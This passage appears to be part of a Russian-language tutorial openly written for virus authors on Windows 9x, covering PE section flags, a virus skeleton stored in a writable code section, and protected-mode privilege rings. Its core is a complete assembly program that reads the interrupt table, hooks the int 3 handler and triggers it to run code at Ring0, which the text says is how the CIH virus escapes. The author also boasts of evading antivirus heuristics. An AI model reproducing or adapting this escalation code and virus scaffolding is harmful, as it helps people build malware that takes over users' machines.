+00h Имя секции , дополненное до 8 байт нулями

+08h Виртуальный размер секции (сколько памяти выделять под объект)

+0Сh Виртуальный адрес секции, ОТНОСИТЕЛЬНО Image Base . (см PE-заголовок)

+10h Физический размер объекта

+18h Зарезервировано

+24h Флаги секции. (dword)

Флаги секции могут следующими (проверять and'ом)

00000020h - кодовая секция.

00000040h - секция инициализированных данных

00000080h - секция неинициализированных данных

10000000h - секция общего доступа

20000000h - выполняемый объект

40000000h - читаемый объект

80000000h - записываемый объект

Имя секции может быть любым. Вот примеры : .code, .data , .debug

Имя секции может не совпадать с реальным содержанием секции ( я могу

назвать кодовую секцию .debug). Для этого то и нужны те директории, о

которых говорилось выше. С их помощью можно определить адрес нужной

секции и найти ее, "прочесав" заголовки секций.

И напоследок, скажу следующее:

Помните я говорил,что нельзя писать в code ? Нельзя, потому, что linker

пометит кодовую секцию как читаемый объект и не поставит флаг "записыва-

емый объект". Если вы сами, после компиляции поправите флаг секции с име-

нем '.code', и поставите флаг 'записываемый объект ', то вы сможете

хранить ваши переменные в кодовой секции,как раньше, под DOS.

Соответсвенно, ваш вирус может выглядить так:

.386P

.model flat , stdcall

.data

db 0 ; в секции data должна быть хоть неиспользуемая переменная!

.code ; здесь - вирус

start:

jmp Begin

var db 'MyVar'

x dw 0

y dd ?

Begin:

;<Here the virus code>

end start

Понятен замысел ? :)

Прорамму, меняющую характеристики секции вы можете написать сами.

Если не можете - вам рано еще читать это руководство!

======================================================================

Вирусно-ориентированное руководство по низкоуровнему программированию

под Windows 9x

======================================================================

Защищенный режим процессора.

Современные процессоры могут работать в двух режимах - реальном и защи-

щенном. Сейчас уже никто не работает в реальном режиме. Он умер вместе

с DOS. Для защищенного режима характерна Flat - модель памяти. Вместо

сегмента используется селектор, который указывает на дескриптор.

Последний берется из какой нибудь таблицы дескрипторов - локальной,

глобальной или из таблицы дескрипторов прерываний. Указатели на эти

таблицы содержатся в регистрах LDT , GDT , IDT соответственно.

Дескриптор описывает базовый адрес сегментов программы, привилегии

доступа, размер , тип и т д . Селектор и 32 битное смещение таким

образуют линенйный адрес в защищенном режиме.

Мультизадачность поддерживается только в защищенном режиме.

Поскольку данное руководство расчитано на программистов под Win95, то

механизм переключения в защищенный режим и в реальный рассматриваться

не будет. Все ваши Windows'95- программы работают в защищенном режиме.

Windows95 использует страничный механизм работы с памятью. Этот меха-

низм работает в защищенном или в виртуальном режиме. Он устанавливается

cпециальным в регистре CR4 и позволяет использовать в качестве оператив-

ной памяти часть дисковой памяти. Размер страницы всегда кратен 4 KB.

Для защищенного режима характерны привелегии доступа программ. У каждой

программы есть свой уровень привелегий. Наивысший уровень привелегий (Pri-

velege Level(PL) или Ring ) PL=0. Программы с меньшими привилегиями работают

на PL=1 . Самыми низкие привелегии на PL=3 Именно на третьем уровне работают

программы под Windows'95. (Applications). На третьем уровне вы не можете

обращаться к портам, генерить прерывания, отслеживать обращения к файло-

вой системе, вобщем вы можете только вызывать API-функции и все.

API функции не позволят вам остаться резидентно, ловить обращения к файловой

системе и т п. Максимум,что вы можете сделать - это отслеживать клавиатуру,

мышку. Кроме того, на третьем кольце защиты вы не можете писать в EXE-файл,

если он выполняется. Таким образом, даже если бы у вас была возможность от-

лавливать обращения к файлам, вы бы не смогли их заразить так как файл уже

был бы закрыт от записи. Вот такая безрадостная картина. Однако на нуле-

вом кольце (Ring0 или PL=0 ) можно ВСЕ. На этом кольце Intel рекомендует

сидеть только операционкам, хотя Windows '95 пускает туда и драйвера.

Единственное,что плохо - на этом кольце проблематично вызвать API функции.

Но зато вместо них,на сцену выходят VXD драйвера,которые так же работают

на уровне PL=0. Описания VXD функций можно найти в WIN98DDK.

О VXD функциях мы поговорим чуть позже. Разумеется, я рассмотрю только те

функции, которые необходимы для создания вируса. Остальные функции ищите

в Windows 98 Driver Developer Kit (WIN98DDK).

Исключительные ситуации

"Вирус выполнил недопустимую операцию и будет закрыт. Если данная ошибка

будет повторяться набейте морду разработчику ".

Похожее сообщение частенько появляется у вас на экране под Win98.

Это реакция мастдая на исключительную ситуацию.

Давайте разберемся в механизме обработки и возникновения исключительной

ситуации. Не загружая вас излишними подробностями, скажу кратко - когда

что-то страшное сучается, возникает исключение. В этот момент процессор

генерит ПРЕРЫВАНИЕ. Это делается аппаратно и никакая операционка не в

силах убрать эту рекцию (в крайнем случае, можно просто первой инструкцией

в обработчике прерывания поставить iret и "сделать вид" ,что прерывание

не генерилось ). ЗАПОМНИТЕ - Прерывание генерит НЕ WINDOWS'95 . Эта

реакция на исключение (вызов прерывания) аппаратное. И даже всемогущий

Билл Гейтс не в силах что либо с этим сделать. Другое дело, он может

отслежтивать изменеия в таблице прерываний и принимать соответсвующие

меры (по моему так сделано в Win2000 поэтому руководство и расчитано на

win95 т.к. Win2000 слишком агрессивно настроена на вирусные действия)

Хотя и Win2000 можно обмануть. С помощью Int 2Eh . Как только поставлю

себе Win2000 обязательно проверю волшебную силу Int 2Eh и расскажу всем!:)

У вас не появилось желание снабдить меня оперативкой и Pentium II подарить?

). Ну да ладно. Я отвлекся.

Какое прерывание генерится ? Это зависит от типа ошибки. Но это не важно.

Важно,что обработчики прерываний работают на уровне привилегий PL=0!

То есть - полный контроль над системой. Ведь обработчик прерывания призван

обработать исключения, следовательно ему нужны наивысшие привелегии.

Именно обработчики прерываний в Windows'95 "закрывают" приложения когда

захотят :)

Вот вам и лазейка в заветное PL=0! Необходимо лишь "подменить" обработчик

какого-нибудь прерывания на свой и потом проэмулировать исключение,сгенерив

"подмененное" прерывание - запустится наш код с наивысшими привелегиями!

Таблица дескрипторов прерываний

У Процессора 386+ положение таблицы дескрипторов (векторов прерываний в

релаьном режиме) нефиксированно. Для процессоров 8086 она, как вы

знаете, обязана располагаться по адресу 0000:0000

То есть, теперь появилась возможность "сдвинуть" ее в другое место

в оперативке, а оригинальную таблицу по адресу 0000:0000 обнулить.

Данный метод - прекрасное антиэвристическое средство. Антивирусы

перестают видеть "подозрительную" программу в оперативной памяти.

Это для тех, кто еще хочет побаловться с вирусами под DOS. Возможность

прермешать таблицу прерываний - мощное оружие в руках опытного вирусо-

писателя , сводящее с ума все изветсные мне антивирусы.

Хотя под Windows'95 эвристика еще не на том уровне, что под DOS .

Некоторые мои вирусы под Windows не детектируются DR.Web'ом, например

WinBug, хотя никаких усилий для того чтобы обмануть антивирус я не

прилагал. Поэтому проблемы обмана эвристики под Windows еще нету.

Базовый адрес таблицы векторов прерываний (дескрипторов прерываний)

хранится в специальном регистре IDTR. (Interrupt Descriptor Table Register)

Регистр IDTR является 6 байтным и выглядит так:

IDTR

-----------------------------------------------------------------

|Адрес таблицы дескрипторов прерываний.| Размер таблицы в байтах|

|----------------------------------------------------------------|

32 бита | 16 бит

Первые 32 бита регистра содержат 32 битный адрес первого элемента таблицы

дескрипторов перываний, то есть адрес таблицы. Следующие 16 бит содержат

размер таблицы прерываний. Теперь ее размер может превышать 1024 байта

и она может состоять например из 512 прерываний. Разумеется, сгенерить

с помощью команды int 512 прерывание нельзя так как команда int XX коди-

руется двумя байтами - 0CDh ,XXh (XX- номер прерывания). Это можно сделать

только искусственно.

Если в таблице векторов прерываний под DOS ее элементы представляли собой

4байтные величины, то в защищенном режиме размер дескриптора равен восьми

байтам. Честно говоря, я пока не в курсе , что содержит каждый байт

элемента таблицы дескрипторов прерываний в защищенном режиме. Я

могу сказать лишь где в элементе таблицы хранится адрес обработчика преры-

вания. Этого вполне достаточно.

Итак, если в edi мы загрузим адрес дескриптора прерывания, то младшее

слово адреса обработчика прерывания будет находиться по адресу [edi] ,

а старшее - по адресу [edi+6]. Что содержат байты со второго до шестого

я пока не понял. Есть подозрения,что каждая операционка может использовать

их на свое усмотрение, так как в литературе по процам я ничего вразумитель-

ного по поводу этих байт не нашел.

Зато в реальном режиме - все просто. IDTR указывает на вектор 0-го прерывания

а по адресу [IDTR+4] - расположен адрес обработчика первого прерывания и т.д.

Структура таблицы прерываний реального режима не изменена.

(!)Главное запомните - размер элемента таблицы прерываний равен ВОСЬМИ байтам,

а не четырем, как в реальном режиме.

Ну как говориться - теория - хорошо, а практика - еще страшнее :)

Давайте писать прогу. Назначение проги будет в том,чтобы она прыгала на

нулевое кольцо и возвращалось затем в третье.

Резидентной пока она не будет - не все сразу.

Для того чтобы получить содержимое регистра IDTR используется специальная

команда SIDT dest

где Dest - адрес шестибайтной величины,куда надо запихать значение IDTR.

Для определенности, подменим обработчик третьего прерывания. Вообще,

трогать перывания с высокими номерами,например 21h я бы не рекомендовал

Windows пользуется ими для своих нужд. Ограничтесь прерываниями с

маленькими номерами.

Итак, как будет работать наша прога ?

Она будет перехватывать третье прерывание,сохраняя старое значение обра-

ботчика в своем теле. Чтобы потом восстановить старый адрес прерывания,

а то вместо "программа выполнела неправильную операцию и будет закрыта"

будет вызываться наш обработчик.

Затем,перехватив прерывание,мы сгенерим его,сэмитировав таким образом,

жуткую ошибку. Винда вызовет наш обработчик,который пискнет через PC-

SPEAKER сгенерит iret. Он не будет передавать управление старому обработ-

чику, потому , что иначе старый Windows-обрабработчик скажет что наша

прога выполнила недопустимую операцию и закроет ее (ведь в этом его

преднанзначение. А нам это не надо. И вирусам нашим тоже некчему.

Затем, сгенерив прерывание мы восстановим старый адрес обработчика,чтобы

при возникновении ДЕЙСТВИТЕЛЬНО ошибки в другой проге, Windows вызвала

не наш обработчик, а свой. Представляете как удивился бы пользователь,если

бы винда больше не показывала бы ему его любимое сообщение об том что ща

прогу закроет ? :)

Затем мы выполним ExitProcess. :)

Итак:

; ---------- RING0 Hacking --------------

.386P

.Model Flat,stdcall

extrn ExitProcess:proc

.Data

db 0 ; левая переменная

.Code

Start:

jmp Begin ; перепрыгнем через наши переменные

IDTAddress dq 0 ; сюда загрузим IDTR

OldAdress dd 0 ; адрес старого обработчика

Ring0Handler: ;обработчик прерывания

; Мы в нулевом кольце с наивысшими привелегиями!

pushad ;пискнем спикером....

mov ax, 1000

mov bx, 200

mov cx, ax

mov al, 0b6h

out 43h, al ; в нулевом кольце защиты даже можно обращаться к портам!

mov dx, 0012h ; совсем как в старые добрые времена под DOS

mov ax, 34dch

div cx

out 42h, al

mov al, ah

out 42h, al

in al, 61h

mov ah, al

or al, 03h

out 61h, al

l1:

mov ecx, 4680

l2:

loop l2

dec bx

jnz l1

mov al, ah

out 61h, al

popad

iret ; уйдем из Ring0 ... в Ring3 :)

End_Ring0Handler:

Begin:

sidt [IDTAddress]

mov esi,dword ptr [IDTAddress+2] ;первое слово IDTAddress - размер таблицы,

;отсюда и +2 (пропустили размер и берем адрес)

;Теперь в ESI сидит адрес таблицы.

;Подвинимся к третьему прерыванию:

add esi,8*3 ; размер элемента - 8 байт, помните?

;Теперь esi указывает на дескриптор третьего прерывания. Вытащим адрес

; обработчика int 3:

mov bx,word ptr [esi+6] ; берем старшее слово ....

shl ebx,16 ; ...и "двигаем" его на свое место в регистре EBX

mov bx, word ptr [esi] ; берем младшее слово. EBX=INT ADRESS

;Теперь перепишем полученный адрес в переменную OldAddress

mov dword ptr [OldAdress],ebx

;Теперь исправим адрес обработчика в таблице дескрипторов:

lea ebx,Ring0Handler ; ebx= наш обработчик

mov word ptr [esi],bx ; младшее слово

shr ebx,16 ; подвинем старшее слово на край,чтоб оно было в BX

mov word ptr [esi+6],bx ; все! Перехватили прерывание!

int 3h ; эмуляция исключения ....

; Наш обработчик отработал. Восстановим старый адрес 3-го int :)

mov ebx,dword ptr [OldAdress]

mov word ptr [esi],bx ; младшее слово

shr ebx,16 ; подвинем старшее слово на край,чтоб оно было в BX

mov word ptr [esi+6],bx ; все! Восстановили!

; А теперь завершим процесс. (Выйдем в Win95)

Push 0

Call ExitProcess

End Start

;------------------Cut Here -----------------------------------------------

После компиляции программу необходимо пропатчить, сделав секцию '.CODE' в

EXE-файле "WriteAble" :)

EXE файл прилагается (ch05prg.exe)

Между прочим, именно таким способом CIH убегает в Ring0 :)

 

 

 

Автор: Илюшко.А.В.                                                                                                                                2008 г.